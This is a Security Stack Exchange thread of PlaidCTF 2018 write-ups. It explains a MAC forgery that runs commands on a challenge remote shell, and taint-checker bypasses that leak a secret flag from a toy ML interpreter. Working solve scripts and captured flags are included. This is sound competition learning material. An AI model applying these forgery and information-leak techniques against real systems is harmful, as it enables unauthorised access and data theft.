9

Let's participate at PlaidCTF 2018!

The CTF will begin on Sat, 05 May 2018 at 04:00 UTC, and end on Sun, 06 May 2018 at 16:00 UTC (that's 36 hours).

PlaidCTF is a yearly CTF run by Plaid Parliament of Pwning. This isn't exactly going to be pretty tough, but it should be tons of fun!

You can find additional details on the CTFtime event page.

Last year's challenges can be found here: link


General info:

  • We compete as team sec.se.
  • We communicate over Slack. To get an invitation to the group you can contact any member of the team. (We will need to know an email address to send the invitation to and a reference to your Security.SE profile.)
  • For questions, join us in the public chat room.

Good luck everyone!

5

macsh (crypto, 125)

This defines a custom MAC fmac as follows, given a message m, a key k1 and a stream S0:

  • Append the length of m formatted as 16 bytes in big-endian order.
  • Append b = 1–16 copies of the byte b to pad the message to a multiple of 16 bytes.
  • Xor the padded message with S0.
  • Encrypt the result with AES-ECB with the key k1.
  • Xor all the resulting 16-byte blocks.

The stream S0 is derived from a 128-bit key k0 by repeating a sequence of 128 128-bit blocks where block number i is calculated by rotating k0 right by i bits.

The MAC function operates by blocks. We don't know how each encrypted block is calculated, but we know that the result depends only on the content of that block in the message and on the block's index modulo 128. In particular, if a block is repeated at a 128*16=2048-byte interval, then the encrypted blocks will be identical. Since the MAC is a xor of all the encrypted blocks, these repeated blocks cancel out.

We can also deduce the MAC of a message with xor equations. Suppose that m1 contains some block B1 at position i, and m2 is the same message except that position i contains B2. Then fmac(m1) xor fmac(m2) depends only on B1, B2 and i modulo 128, and not on the rest of the message.

This MAC function is used in a remote shell where we can use the following commands:

  • tag tag or tag echo: calculate the fmac of the command line consisting of tag or echo and the given parameters, joined with a single space.
  • pwd, cd, ls, cat: the usual Unix commands, which require a valid fmac. pwd takes no parameters, the others take exactly one parameter.

Null bytes are accepted in arguments but not in file names. Whitespace (spaces and bytes 0x09–0x0d) cannot appear in parameters.

Example: to list the current directory, we can run the command ls ., which is padded to the two blocks ls .000000000000, 0004CCCCCCCCCCCC where 0, 4 and C are the characters 0x00, 0x04 and 0x0c respectively. To calculate its MAC, we need to craft a message starting with tag and a space (or echo and a space), containing blocks that will cancel out, and containing the two blocks of the ls command at positions 128 and 129 (or 256 and 257, etc.).

Since we can't pass bytes 0x09–0x0d in parameters, we need to fiddle with the length of the command to avoid those bytes both in the encoding of the length and in the padding. The following command lengths are admissible: 0–2, 8, 14–18, 24–31, 33, 34, 40–50, 56–66, etc. We can always make a command (other than pwd) longer by adding more slashes in a file name (or prepending ./ if it doesn't contain a slash). For example, instead of ls ., we can use ls .////.

Given a command cmd of admissible length that is less than 2032 bytes, we want the MAC of cmd at position 0. Query the tags of the following messages:

  • tag AAA… where AAA… has the same length as cmd.
  • tag BBB…B of length 2048 bytes, then cmd followed by its length padding.
  • tag BBB…B of length 2048 bytes, then tag AAA… followed by its length padding (which is the same as cmd's).

The xor of these three tags is the tag of cmd.

The following program takes a command line as argument, calculates its MAC by sending tag commands as described above, and finally runs the command.

#!/usr/bin/env python3
import os, re, subprocess, sys
import pexpect
from pexpect import popen_spawn

from fmac import to_blocks, fmac

# A tag command with the same length as cmdline
def tag_cmd(cmdline):
    return b'tag ' + b'A' * (len(cmdline) - 4)

# A tag command containing the padded cmdline at position 2048
def expand_cmd(cmdline):
    return b'tag ' + b'B' * 2044 + b''.join(to_blocks(cmdline))

# Send tag<|>cmdline
def send(session, tag, cmdline):
    session.sendline(tag.encode('utf-8') + b'<|>' + cmdline)

# Receive input up to a prompt
def receive(session):
    session.expect(r'\|\$\|> ')
    return session.before

def find_mac(session, cmdline):
    receive(session)
    send(session, '', b'tag ' + tag_cmd(cmdline))
    mac1 = int(receive(session), 16)
    send(session, '', b'tag ' + expand_cmd(cmdline))
    mac2 = int(receive(session), 16)
    send(session, '', b'tag ' + expand_cmd(tag_cmd(cmdline)))
    mac3 = int(receive(session), 16)
    return hex((mac1 ^ mac2 ^ mac3) | 1 << 128)[3:]

def interact(server, cmdline):
    session = pexpect.popen_spawn.PopenSpawn(server)
    mac = find_mac(session, cmdline)
    send(session, mac, cmdline)
    sys.stdout.buffer.write(receive(session))

if __name__ == '__main__':
    interact(sys.argv[1], ' '.join(sys.argv[2:]).encode('utf-8'))

Let's see it in action.

$ ./solve.py 'nc macsh.chal.pwning.xxx 64791' ls .////
__pycache__
flag.txt
fmac.py
macsh.py
.bashrc
.bash_logout
.profile
$ ./solve.py 'nc macsh.chal.pwning.xxx 64791' cat flag.txt
PCTF{fmac_is_busted_use_PMAC_instead}
4

Pupper (misc, 50)

(Arminius solved it first. I built a slightly different solution as a warm-up to Doggo.)

The server runs an interpreter for a toy language. The language is similar a subset of ML, restricted to expressions involving only the types int and bool, with various syntactic restrictions and only a few predefined operators. You can only execute a single expression per session. You can define functions, but not recursive ones, and there are no loops either.

In addition to ML features, the language has a taint mechanism. Every expression has a secrecy level in addition to its type: public or private. The flag variable is private. The interpreter only prints the value of public expressions. Generally speaking, if an expression involves any private value, its result is private.

The flaw in this interpreter is a classic one: the secrecy of an if-then-else expression depends only on the type of the return expressions, and not on the type of the condition. This allows leaking data one bit at a time.

The flag is encoded as an integer by taking the string's binary representation. We know from run.sml that the flag length is 36 bytes.

The following function takes an argument of the form 2^k and returns 2^k if the flag has bit k set and 0 otherwise.

fn (b : int) => if flag / b % 2 = 1 then b else 0

We should be able to get the flag by calling this function 36*8 times and summing up the result.

python -c 'print("let t = fn (b : int) => if flag / b % 2 = 1 then b else 0 in t " + " + t ".join([str(1 << i) for i in range(8*6)]))' | nc wolf.chal.pwning.xxx 6808

However this times out. We need to be more clever. Let's avoid divisions by starting from the highest bit and subtracting in sequence. To make the expression shorter, we use references to keep the current value. This still doesn't work though.

python -c 'print("let secret = ref flag in let leaked = ref 0 in let t = fn (b : int) => if !secret < b then () else (secret := !secret - b; leaked := !leaked + b) in t " + "; t ".join(reversed([str(1 << i) for i in range(8*36)])) + "; !leaked")' | nc wolf.chal.pwning.xxx 6808
Out of memory with fixed heap size 16,777,216

I didn't find a way to get the whole flag in a single connection. I settled for extracting one byte at a time.

#!/usr/bin/env python3
import os, re, subprocess, sys

def get_byte(cmd, k):
    expr = '''
    let secret = ref (flag / {} % 256) in
    let leaked = ref 0 in
    let test = fn (bit : int) => (
        if !secret < bit
        then ()
        else (secret := !secret - bit; leaked := !leaked + bit)
    ) in
    test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;
    !leaked'''.format(1 << (k * 8))
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii')
    return(int(output.split()[0]))

def get_flag(cmd):
    values = [get_byte(sys.argv[1:], k) for k in range(36)]
    return bytes(reversed(values)).decode('ascii')

if __name__ == '__main__':
    print(get_flag(sys.argv[1:]))

Let's run this.

$ ../hiss.py ./wolf-lang
PCTF{NOT_REAL!:o_Run_on_the_server!}
$ ../hiss.py nc wolf.chal.pwning.xxx 6808
PCTF{0of_0uch_0wi3_my_IF_$t4t3m3n7s}

Doggo (misc, 150)

This is Pupper with the if flaw fixed.

This doesn't mean that the taint checker is sound, though. As a rule, it's hard to do anything fancy with types when you have both side effects and functions. So let's look for a flaw around those lines.

The taint checker now requires that an if statement with a private condition has branches of private type. Furthermore it analyzes the content of if branches to verify that they don't modify public references. So you can't leak data just by putting leaked := 1 :> private unit in a branch.

But the public reference checker doesn't analyze functions. So all we need to do to hide the leak is to put it inside a function that happens to have a private type. This flaw will remain as long as the type of an assignment is a bare unit regardless of the secrecy of the values involved, or as long as you can hide any assignment behind a semicolon.

Here's the byte extractor script with a modified expression to extract bits:

#!/usr/bin/env python3
import os, re, subprocess, sys

def get_byte(cmd, k):
    expr = '''
    let secret = ref (flag / {} % 256) in
    let leaked = ref 0 in
    let ignore = (fn (bit : int) => () :> private unit) :> private (int -> private unit) in
    let incr = (fn (bit : int) => (secret := !secret - bit; leaked := !leaked + bit) :> private unit) :> private (int -> private unit) in
    let test = fn (bit : int) => (
        (if !secret < bit then ignore else incr) bit
    ) in
    test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;
    !leaked'''.format(1 << (k * 8))
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii')
    if p.returncode != 0:
        print('Error with the expression\n{}'.format(expr))
        print(output)
        exit(1)
    return(int(output.split()[0]))

def get_flag(cmd):
    values = [get_byte(sys.argv[1:], k) for k in range(36)]
    return bytes(reversed(values)).decode('ascii')

if __name__ == '__main__':
    print(get_flag(sys.argv[1:]))

And we run it:

$ ../hiss.py nc wolf.chal.pwning.xxx 4856
PCTF{$h0u1d_h4v3_f0rma11y_v3r1fi3d!}

Not solved: Woofer (pwnable, 450)

I'd thought of exploiting a side channel for Pupper and then Doggo and Woofer, but the calculations are very well protected against timing side channels. The bignum calculations are made with Thomas Pornin's CTTK, so calculations on the flag won't reveal its magnitude. The code executes both branches of an if, so you can't extract a boolean that way.

What I missed is that the program uses hash consing to keep memory consumption down, presumably because the execution of nested branches may generate a lot of data. (I do wonder if this is a genuine concern given the time limits, or just a gimmick to make Woofer solvable.) Hash consing means that whether two branches are executing on the same data is observable through memory consumption. Memory consumption is mostly not observable memory, but it is if the server dies due to heap exhaustion. Therefore, if you carefully tune your expression's memory consumption, f secret_boolean; f (true :> private bool); () will either crash or not depending on whether secret_boolean is true. I found the solution in Plaid Parliament of Pwning's writeup.

2

Pupper (misc, 50)

As an addition to Gilles' excellent write-up, this is the Python script I initially used for solving Pupper which trivially extracts one bit per connection:

import socket

HOST = 'wolf.chal.pwning.xxx'
PORT = 6808
LEN = 36

def main():
    flag_num = 0
    for i in range(8 * LEN):
        exp = 'if (flag / {}) % 2 = 1 then 1 else 0'.format(2 ** i)

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((HOST, PORT))
        sock.send(exp.encode('ascii'))
        res = sock.recv(1024).decode('utf-8')
        sock.close()

        flag_num += (2 ** i * int(res[0]))

    flag = flag_num.to_bytes(LEN, byteorder='big')
    print(flag)

if __name__ == '__main__':
    main()

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .